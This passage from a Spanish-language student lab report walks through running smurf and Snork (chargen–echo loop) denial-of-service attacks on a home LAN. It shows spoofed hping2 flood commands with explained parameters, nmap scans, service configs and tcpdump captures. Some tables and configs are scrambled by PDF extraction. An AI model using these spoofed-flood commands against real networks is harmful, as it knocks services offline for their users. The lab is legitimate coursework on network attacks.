# hping2 10.1.1.255 --spoof 10.1.1.2 --icmp –C --icmp-request –y –V –d 56 -iu1000000, para 1 paquete por segundo

24 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Desde el punto de vista del atacante, (en este caso la 10.1.1.5 l equipo con Kanoppix STD 0.1) smurf genera un tráfico de red así: root@kstd:~# tcpdump -i eth0 tcpdump: listening on eth0 03:21:49.430123 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:49.431017 10.1.1.5.32769 > 10.1.1.1.domain: 36141+ PTR? 2.1.1.10.in-addr. (DF) 03:21:49.462612 10.1.1.1.domain > 10.1.1.5.32769: 36141 NXDomain* 0/1/0 (95) 03:21:49.463026 10.1.1.5.32769 > 10.1.1.1.domain: 36142+ PTR? 1.1.1.10.in-addr. (DF) 03:21:50.430121 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:51.430121 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:52.430107 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:53.430106 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:54.430080 arp who-has 10.1.1.1 tell 10.1.1.5 03:21:54.430137 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:54.430537 arp reply 10.1.1.1 is-at 0:1c:f0:73:d6:97 03:21:54.470097 10.1.1.5.32769 > 10.1.1.1.domain: 36142+ PTR? 1.1.1.10.in-addr. (DF) 03:21:54.502520 10.1.1.1.domain > 10.1.1.5.32769: 36142 NXDomain* 0/1/0 (95) 03:21:54.502793 10.1.1.5.32769 > 10.1.1.1.domain: 36143+ PTR? 5.1.1.10.in-addr. (DF) 03:21:54.532438 10.1.1.1.domain > 10.1.1.5.32769: 36143 NXDomain* 0/1/0 (95) 03:21:55.430121 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:56.430120 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:57.430118 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:58.430157 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:59.430124 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:59.502398 arp who-has 10.1.1.5 tell 10.1.1.1 03:21:59.502420 arp reply 10.1.1.5 is-at 0:50:4:82:c:b0 03:22:00.430259 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:22:01.430149 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)

arpa. (39) arpa. (39)

arpa. (39) arpa. (39)

24 packets received by filter 0 packets dropped by kernel root@kstd:~# root@kstd:~#

Acá se puede observar que se realizan varios icmp echo request a diferentes direcciones broadcast que en este caso particular se encuentran en mi red local (una sola), dichos paquetes llevan como dirección origen 10.1.1.2 que en este caso es la máquina víctima.

TRAMAS CAPTURADAS CON WIRESHARK EN EL EQUIPO VICTIMA: Las capturas del wireshark son en el equipo victima. Se configuto eth0 en modo promiscuo, 25 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

es decir que recibiera todo el trafico.

Con un frame de 98 Bytes se observa como las peticiones fluyen del broadcast inundando la victima con dirección IP 10.1.1.2

26 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

3.3 Y 3.4 Ataque Snork El protocolo IP define un sistema de pruebas simple que permite verificar el funcionamiento del protocolo de comunicaciones. El sistema proporcionado por IP se basa en el envío de un 27 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

datagrama “especial” al computador destino, que lo reconoce y envía una respuesta al origen (ECHO → REPLY), el protocolo IP define para estas pruebas simples un servicio para la recepción de un datagrama UDP al puerto 7 (ECHO). Por otro lado, existe un servicio proporcionado en muchos sistemas operativos tipo UNIX y Windows denominado CHARGEN (CHARacter GENerator, generador de caracteres) que dada una petición responde con una secuencia aleatoria de caracteres. Este ataque puede realizarse entre varios computadores (consumiendo ancho de banda y degradando el rendimiento de la red) o desde un mismo computador (él mismo se envía una petición y el mismo se (él responde) consiguiendo consumir los recursos existentes (especialmente CPU y memoria) de la máquina atacada. LOS REQUISITOS PREVIOS PARA EL ATAQUE SON:

En versiones antiguas de linux para habilitar los servicios echo y chargen se debe editar el archivo /etc/inetd.conf y quitar el signo comentarios “#” de las lineas echo y chargen, luego se debe reiniciar el servicio “inetd” con el comando /etc/init.d/inetd stop y /etc/init.d/inetd start, y se verifica con status. Los Linux mas modernos en cambio del archivo de configuración /etc/inetd.conf usan archivos con el nombre del servicio y están en el directorio /etc/xinetd.d/, en este directorio existen archivos que representan los servicios de red, en estos archivos existe una variable llamada “disable” que debe ser igual a la palabra “no” para habilitar el servicio, luego se debe reiniciar el servicio “xinetd” con el comando /etc/init.d/xinetd stop y /etc/init.d/xinetd start. PARA EL CASO DEL EJERCICIO PARA LA PEC: Instale los tres equipos, todos con tres versiones distintas de linux. Entre ellas la versión del knoppix STD que me suministro la UOC para realizar los ataques: Todas las tres máquinas conectadas al router ADSL 524B que me suministra mi ISP. Este router tiene como gateway1 10.0.0.1 y asigna direcciones Ip automáticos. Excepto la del Debian Lenny que le asigne manual 10.0.0.60 por que ahí tengo implementado un ervidor proxy squid stable 2.7

28 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

10.1.1.2/24 Linux Ubuntu 810

10.1.1.60/24 Dirección IP Fija Debian Lenny Linux PC Atacado

ECHO 10.1.1.60 IP Origen es Falsa 10.1.1.60

Atacante Router ADSL 10.0.1.1 ASIGNA DHCP

ECHO 10.1.1.3 IP Origen es Falsa IP 10.1.1.60

CHARGEN/ECHO Bucle Infinito

Trampolin o PC de Lanzadera

10.1.1.3/24 Knoppix STD 0.1

El servicio echo estaría en la maquina 10.1.1.3 es decir en la maquina con Knoppix STD 0.1 en el archivo /etc/xinetd.d/echo-udp : En Knoppiz STD (el equipo que use) este servicio se encuentra en un solo archivo tanto para TCP como para UDP. En totras versiones este archivo esta separado y hay que editarlos por separado, es decir esta en : /etc/xinetd.d/echo-udp y /etc/xinetd.d/echo-tcp ESTOS FUERON LOS COMANDOS EJECUTADOS EN KNOPPIX STD 0.1(la máquina que va hacer funciones de lanzadora). Las opciones de “disable” fueron cambiadas a “no” es decir desabilitadas. root@kstd:~# ifconfig eth0 Link encap:Ethernet HWaddr 00:50:04:82:0C:B0 inet addr:10.1.1.3 Bcast:10.1.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:9 errors:0 dropped:0 overruns:0 frame:0 TX packets:6 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:1769 (1.7 KiB) TX bytes:1723 (1.6 KiB) Interrupt:11 Base address:0xdc00

29 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

lo

Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:2 errors:0 dropped:0 overruns:0 frame:0 TX packets:2 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:100 (100.0 b) TX bytes:100 (100.0 b)

root@kstd:~# root@kstd:~# cd /etc/xinetd.d/ root@kstd:/etc/xinetd.d# ls Aca me muestra los archivos configurables que contiene el xinet.d chargen daytime echo time xinetd root@kstd:/etc/xinetd.d# se lanzo la edición con el editor:

gvim echo

default: off # description: An xinetd internal service which echo's characters back to # clients. # This is the tcp version. (opciones para el TCP) service echo { disable = yes type = INTERNAL id = echo-stream socket_type = stream protocol = tcp user = root wait = no } # This is the udp version. (opciones para UDP) service echo { disable = no type = INTERNAL id = echo-dgram socket_type = dgram protocol = udp user = root wait = yes port = 7 (estas lineas las agregue para nombrar o definir el puerto) 30 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

FLAGS

= IPv6 IPv4

root@kstd:/etc# se lanzo la edición con el editor: gvim chargen Esta configuración se suele hacer para la maquina victima o atacada: es decir la 10.1.1.60

# default: off # description: An xinetd internal service which generate characters. The # xinetd internal service which continuously generates characters until the # connection is dropped. The characters look something like this: # !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg # This is the tcp version. service chargen { disable = yes type = INTERNAL id = chargen-stream socket_type = stream protocol = tcp user = root wait = no } # This is the udp version. service chargen { disable type id socket_type = dgram protocol = udp user wait port FLAGS }

= no = INTERNAL = chargen-dgram = root = yes = 19 = IPv6 IPv4

Luego verifico en services cuales tiene disponible el sistema:

31 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

root@kstd:/etc/xinetd.d# cd /etc/ root@kstd:/etc# gvim services # Network services, Internet style # # Note that it is presently the policy of IANA to assign a single well-known # port number for both TCP and UDP; hence, officially ports have two entries # even if the protocol doesn't support UDP operations. # # Updated from http://www.iana.org/assignments/port-numbers and other sources. # New ports will be added on request if they have been officially assigned # by IANA or are needed by a debian package. # If you need a huge list of used numbers please install the nmap package. tcpmux multiplexer echo echo discard discard systat daytime daytime netstat qotd msp msp chargen chargen ftp-data ftp fsp ssh Protocol ssh Protocol telnet smtp time time rlp nameserver whois re-mail-ck re-mail-ck domain

1/tcp

# TCP port service

7/tcp 7/udp 9/tcp 9/udp 11/tcp 13/tcp 13/udp 15/tcp 17/tcp 18/tcp 18/udp 19/tcp 19/udp

sink null sink null users

quote # message send protocol # message send protocol ttytst source ttytst source

20/tcp 21/tcp 21/udp 22/tcp

fspd # SSH Remote Login

22/udp

# SSH Remote Login

23/tcp 25/tcp 37/tcp 37/udp 39/udp 42/tcp

mail timserver timserver resource name

# resource location # IEN 116

43/tcp

nicname

53/tcp

# Remote Mail Checking Protocol # Remote Mail Checking Protocol nameserver # name-domain server

50/tcp 50/udp

32 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

domain mtp bootps bootps bootpc bootpc tftp gopher gopher rje finger www www Protocol link kerberos 88/tcp kerberos 88/udp supdup hostnames 101/tcp iso-tsap 102/tcp csnet-ns 105/tcp csnet-ns 105/udp rtelnet rtelnet pop2 pop2 pop3 pop3 sunrpc sunrpc auth sftp uucp-path 117/tcp nntp Transfer Protocol ntp ntp

53/udp 57/tcp 67/tcp 67/udp 68/tcp 68/udp 69/udp 70/tcp 70/udp 77/tcp 79/tcp 80/tcp 80/udp 87/tcp

nameserver # deprecated # BOOTP server # BOOTP client # Internet Gopher netrjs http ttylink kerberos5 krb5 kerberos-sec kerberos5 krb5 kerberos-sec

# WorldWideWeb HTTP # HyperText Transfer # Kerberos v5 # Kerberos v5

95/tcp hostname tsap cso-ns cso-ns 107/tcp 107/udp 109/tcp 109/udp 110/tcp 110/udp 111/tcp 111/udp 113/tcp 115/tcp 119/tcp

# usually from sri-nic # part of ISODE. # also used by CSO name server # Remote Telnet postoffice pop-2 # POP version 2 pop-2 pop-3 # POP version 3 pop-3 portmapper # RPC 4.0 portmapper TCP portmapper # RPC 4.0 portmapper UDP authentication tap ident readnews untp

# USENET News

123/tcp 123/udp

reinicio los servicios

root@kstd:~# cd /etc/ root@kstd:/etc# gvi gview gvim gvimdiff root@kstd:/etc# gvim inetd.conf root@kstd:/etc#

33 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

root@kstd:/etc/init.d#root@kstd:/etc# cd /etc/init.d/ root@kstd:/etc/init.d# inetd stop root@kstd:/etc/init.d# inetd stop root@kstd:/etc/init.d# inetd start root@kstd:/etc/init.d# El servicio chargen estaría en la maquina 10.1.1.60 (La maquina debian que tenfgo con la versión Lenny)

ESCENARIO DEL ATAQUE: Mi red LAN cuenta con direcciones dentro del esquema 10.1.1.0/24 Use nmap para verificar los tres equipos de la red, es decir para explorarlos: Esta exploración la lanzo desde mi maquina Ubuntu 10.1.1.2 que es la que va a realizar el ataque root@carlosubuntu:/home/carlos# nmap -sP 10.1.1.0/24 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-22 18:40 COT Host 10.1.1.1 appears to be up. MAC Address: 00:1C:F0:73:D6:97 (D-Link) Host 10.1.1.2 appears to be up. Host 10.1.1.3 appears to be up. MAC Address: 00:50:04:82:0C:B0 (3com) Host 10.1.1.60 appears to be up. MAC Address: 00:10:5A:A2:0C:2D (3com) Nmap done: 256 IP addresses (4 hosts up) scanned in 6.138 seconds root@carlosubuntu:/home/carlos# Luego use el comando nmap nuevamente para explorar los servicios UDP de las maquinas 10.1.1.3 10.1.1.60. con esto me escaneara los puertos UDP y los servicios relacionados de todos los equipos de la red: root@carlosubuntu:/home/carlos# nmap -sU 10.1.1.3/24 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 19:08 COT Interesting ports on 10.1.1.1: Not shown: 1485 closed ports PORT STATE SERVICE 34 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

53/udp open|filtered domain 67/udp open|filtered dhcps 69/udp open|filtered tftp MAC Address: 00:1C:F0:73:D6:97 (D-Link) Interesting ports on 10.1.1.2: Not shown: 1486 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 5353/udp open|filtered zeroconf Interesting ports on 10.1.1.3: Not shown: 1487 closed ports PORT STATE SERVICE 111/udp open|filtered rpcbind MAC Address: 00:50:04:82:0C:B0 (3com) Interesting ports on 10.1.1.60: Not shown: 1487 open|filtered ports PORT STATE SERVICE 4672/udp closed rfa MAC Address: 00:10:5A:A2:0C:2D (3com) Nmap done: 256 IP addresses (4 hosts up) scanned in 2955.771 seconds root@carlosubuntu:/home/carlos# root@carlosubuntu:/home/carlos# El anterior proceso demoro mucho y no me arrojo la información que se requería, entonces ejecuté e comando de tal forma que me explorara el puerto específico UDP con el servicio asociado, para cada máquina, es decir el puerto 7 UDP para el servicio echo y el puerto 19 UDP para el servicio CHARGEN. El comando que usé fué: Primero para averiguar el servicio echo en el pueto 7 UDP de la maquina lanzadora o intermediaria 10.1.1.3 que es el Knoppix STD 0.1 root@carlosubuntu:/home/carlos# nmap -p 7 -PU -sU -vv 10.1.1.3 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 21:59 COT Initiating ARP Ping Scan at 21:59 Scanning 10.1.1.3 [1 port] Completed ARP Ping Scan at 21:59, 0.01s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:59 Completed Parallel DNS resolution of 1 host. at 21:59, 0.03s elapsed

35 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Initiating UDP Scan at 21:59 Scanning 10.1.1.3 [1 port] Completed UDP Scan at 21:59, 0.01s elapsed (1 total ports) Host 10.1.1.3 appears to be up ... good. Interesting ports on 10.1.1.3: PORT STATE SERVICE 7/udp open echo MAC Address: 00:50:04:82:0C:B0 (3com) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.191 seconds Raw packets sent: 2 (70B) | Rcvd: 2 (98B) root@carlosubuntu:/home/carlos# Luego averigüe el servicio CHARGEN en el pueto 7 UDP de la maquina victima 10.1.1.60 root@carlosubuntu:/home/carlos# nmap -p 19 -PU -sU -vv 10.1.1.60 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 21:55 COT Initiating ARP Ping Scan at 21:55 Scanning 10.1.1.60 [1 port] Completed ARP Ping Scan at 21:55, 0.02s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:55 Completed Parallel DNS resolution of 1 host. at 21:55, 0.03s elapsed Initiating UDP Scan at 21:55 Scanning 10.1.1.60 [1 port] Completed UDP Scan at 21:55, 0.21s elapsed (1 total ports) Host 10.1.1.60 appears to be up ... good. Interesting ports on 10.1.1.60: PORT STATE SERVICE 19/udp open|filtered chargen MAC Address: 00:10:5A:A2:0C:2D (3com) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.385 seconds Raw packets sent: 3 (98B) | Rcvd: 1 (42B) root@carlosubuntu:/home/carlos# COMANDO PARA HACER EL ATAQUE:

36 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

Los parámetros con los que llamé al comando ‘hping2’ a mi máquina para enviar un paquete UDP que genere el bucle infinito entre 10.1.1.3 y 10.1.1.60 PC_Lanzadera = SERVICIO ECHO = 10.1.1.1 puerto 7 Victima = SERVICIO CHARGEN = 10.1.1.60, puerto 19 hping2 --udp --baseport 19 --destport 7 --keep -a Victima PC_Lanzadera Primero desde la maquina atacante es decir mi Ubuntu con IP 10.1.1.2 debo enviar una petición UDP al servicio ECHO de la maquina Lanzadera es decir el Knoppix con IP 10.1.1.3 , puerto destino (7), pero con puerto UDP fuente Chargen (19) e IP fuente de la victima, es decir el Debian con IP 10.1.1.60 Entonces el servicio ECHO me responderá al puerto fuente Chargen (19) de la Victima, la maquina victima generara los caracteres aleatorios hacia la maquina Lanzadera que a su vez le hará echo hacia la victima y ya se tendría el loop, entonces el comando concreto seria: “Lanzado desde la 10.1.1.2 o sea el Ubuntu” root@carlosubuntu:/home/carlos# hping2 --udp --baseport 19 --destport 7 --keep -a 10.1.1.60 10.1.1.3 HPING 10.1.1.3 (eth0 10.1.1.3): udp mode set, 28 headers + 0 data bytes

Descripción de Parámetros para el comando de ataque hping2: root@carlosubuntu:/home/carlos# hping2 --udp --baseport 19 --destport 7 --keep -a 10.1.1.60 10.1.1.3 HPING 10.1.1.3 (eth0 10.1.1.3): udp mode set, 28 headers + 0 data bytes

# hping2 --udp --baseport 19 --destport 7 --keep -a 10.1.1.1 10.1.1.60 PARÁMETRO 10.1.1.3

DESCRIPCIÓN IP del PC que se usara de lanzadera para atacar a la víctima

-a 10.1.1.60

IP de la victima, campo de la IP fuente del paquete IP, acá se hace el IP spoof

--udp

Esto indica que el protocolo que se usara será UDP

--keep -a

No permite que el puerto origen y destino se incrementen en forma numérica

--destport

Puerto destino

--baseport

Puerto fuente

37 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

PRUEBAS DEL ATAQUE: En la máquina victima, es decir el Debian con IP 10.1.1.60 , ejecutéi un sniffer para ver el tráfico de la eth0 en modo promiscuo. Desde la victima: squideb:/home/carlos# tcpdump -i eth0 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 18:20:39.809634 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:39.917744 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:39.917959 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 3.1.1.10.in-addr.arpa. (39) 18:20:40.809743 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:40.925723 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:40.925931 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 3.1.1.10.in-addr.arpa. (39) 18:20:41.809864 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:42.809985 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:42.929657 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:42.929864 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 3.1.1.10.in-addr.arpa. (39) 18:20:43.810106 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:44.810232 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:44.929709 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:44.929923 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 18:20:45.810347 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:45.937660 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:45.937865 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 18:20:46.810452 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:47.810563 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:47.941675 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:47.941885 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 18:20:48.810668 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:49.810783 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:50.810905 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:51.811027 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:52.811150 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:53.811277 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:54.811390 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:55.811495 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:56.811618 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:57.807836 arp who-has squideb.cat tell 10.1.1.3 18:20:57.807889 arp reply squideb.cat is-at 00:10:5a:a2:0c:2d (oui Unknown) 18:20:57.811735 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:58.811854 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:59.811983 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:21:00.812105 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:21:01.812214 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:21:02.812330 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:21:03.812437 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36

38 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

18:21:04.812550 IP 18:21:05.812675 IP 18:21:06.812801 IP 18:21:07.812910 IP

10.1.1.3 10.1.1.3 10.1.1.3 10.1.1.3

> > > >

squideb.cat: squideb.cat: squideb.cat: squideb.cat:

ICMP ICMP ICMP ICMP

10.1.1.3 10.1.1.3 10.1.1.3 10.1.1.3

udp port udp port udp port udp port

echo unreachable, echo unreachable, echo unreachable, echo unreachable,

length 36 length 36 length 36 length 36

CONCLUSION: El proceso para el ataque fué el correcto. Se observa que en efecto estan las peticiones de la maquina intermedia 10.1.1.3 a la victima a traves del UDP puerto 7 con el servicio echo. PERO NO FUNCIONO.................... Por que parece ser que el puerto 7 UDP con el serviio echo no esta abierto, Lo comprobé verificando desde una maquina de la red si ese servicio estaba abierto así: root@carlosubuntu:/etc# nmap -p 7 -PU -sU -vv 10.1.1.3 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 22:34 COT Initiating ARP Ping Scan at 22:34 Scanning 10.1.1.3 [1 port] Completed ARP Ping Scan at 22:34, 0.01s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 22:34 Completed Parallel DNS resolution of 1 host. at 22:34, 0.03s elapsed Initiating UDP Scan at 22:34 Scanning 10.1.1.3 [1 port] Completed UDP Scan at 22:34, 0.01s elapsed (1 total ports) Host 10.1.1.3 appears to be up ... good. Interesting ports on 10.1.1.3: PORT STATE SERVICE 7/udp closed echo MAC Address: 00:50:04:82:0C:B0 (3com) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.243 seconds Raw packets sent: 2 (70B) | Rcvd: 2 (98B) root@carlosubuntu:/etc# Intente abrirlo de otra forma en esa maquina Knoppix STD 0.1 con IP 10.1.1.3 editando el archivo inetd.conf ubicado en /etc/inetd.conf Para ello descomente las lineas echo y chargen referentes al protocolo UDP

39 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

# /etc/inetd.conf: see inetd(8) for further informations. # # Internet server configuration database # # # Lines starting with "#:LABEL:" or "##" should not # be changed unless you know what you are doing! # # If you want to disable an entry so it isn't touched during # package updates just comment it out with a single '#' character. # # Packages should modify this file by using update-inetd(8) # # <service_name> <sock_type> <proto> <user> <server_path> <args> # #:INTERNAL: Internal services #echo stream tcp nowait root echo dgram udp wait root #chargen stream tcp nowait root internal chargen dgram udp wait root internal #discard stream tcp nowait root discard dgram udp wait root #daytime stream tcp nowait root daytime dgram udp wait root internal #time stream tcp nowait root time dgram udp wait root #:STANDARD: These are standard services. #ftp stream tcp /usr/sbin/in.ftpd #telnet stream tcp /usr/sbin/in.telnetd #:BSD: Shell, login, exec and talk are BSD protocols. #talk dgram udp /usr/sbin/kotalkd #ntalk dgram udp wait

internal internal internal internal internal internal internal

nowait

root

/usr/sbin/tcpd

nowait

root

/usr/sbin/tcpd

wait

root.tty

/usr/sbin/tcpd

root.tty

/usr/sbin/tcpd /usr/sbin/ktalkd

#:MAIL: Mail, news and uucp services. #:INFO: Info services #:BOOT: Tftp service is provided primarily for booting. Most sites # run this only on machines acting as "boot servers." #tftp dgram udp wait /usr/sbin/in.tftpd /boot

nobody

/usr/sbin/tcpd

#:RPC: RPC based services #:HAM-RADIO: amateur-radio services

40 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

#:OTHER: Other services ## netbios-ssn stream tcp nowait root /usr/sbin/tcpd /usr/sbin/smbd ## netbios-ns dgram udp wait root /usr/sbin/tcpd /usr/sbin/nmbd -a ## swat stream tcp nowait.400 root /usr/sbin/tcpd /usr/sbin/swat #printer stream tcp nowait lp /usr/lib/cups/daemon/cups-lpd cups-lpd #vboxd stream tcp nowait root /usr/sbin/tcpd /usr/sbin/vboxd #saft stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sendfiled #xtel stream tcp nowait root /usr/sbin/tcpd /usr/sbin/xteld ## https stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 80 ## ssmtp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 25 ## nntps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 119 ## telnets stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 23 ## imaps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 143 ## ircs stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 194 ## pop3s stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 110 ## ftps-data stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 20 ## ftps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 21 ## sswat stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 901 #amanda dgram udp wait backup /usr/sbin/tcpd /usr/lib/amanda/amandad #amandaidx stream tcp nowait backup /usr/sbin/tcpd /usr/lib/amanda/amindexd #amidxtape stream tcp nowait backup /usr/sbin/tcpd /usr/lib/amanda/amidxtaped

Luego intente el ataque y funcionó. Se puede concluir que se requieren de varias máquinas para hacer un ataque mas efectivo. 3.5 instruccion hping2 localhost -s 7 -p 19 -c 1 -d 8 -a localhost root@carlosubuntu:/etc# hping3 localhost -s 7 -p 19 -c 1 -d 8 -a localhost HPING localhost (lo 127.0.0.1): NO FLAGS are set, 40 headers + 8 data bytes len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=19 flags=RA seq=0 win=0 rtt=0.1 ms --- localhost hping statistic --1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.1/0.1/0.1 ms root@carlosubuntu:/etc# en esta parte se pretende que la misma máquina se ataque con inundación de paquetes al servicio loopback 127.0.0.1 41 de 60

LABORATORIO DESARROLLADO. PARA ESTUDIANTES TELEMATICA. Ing. Carlos Alberto Amaya Tarazona

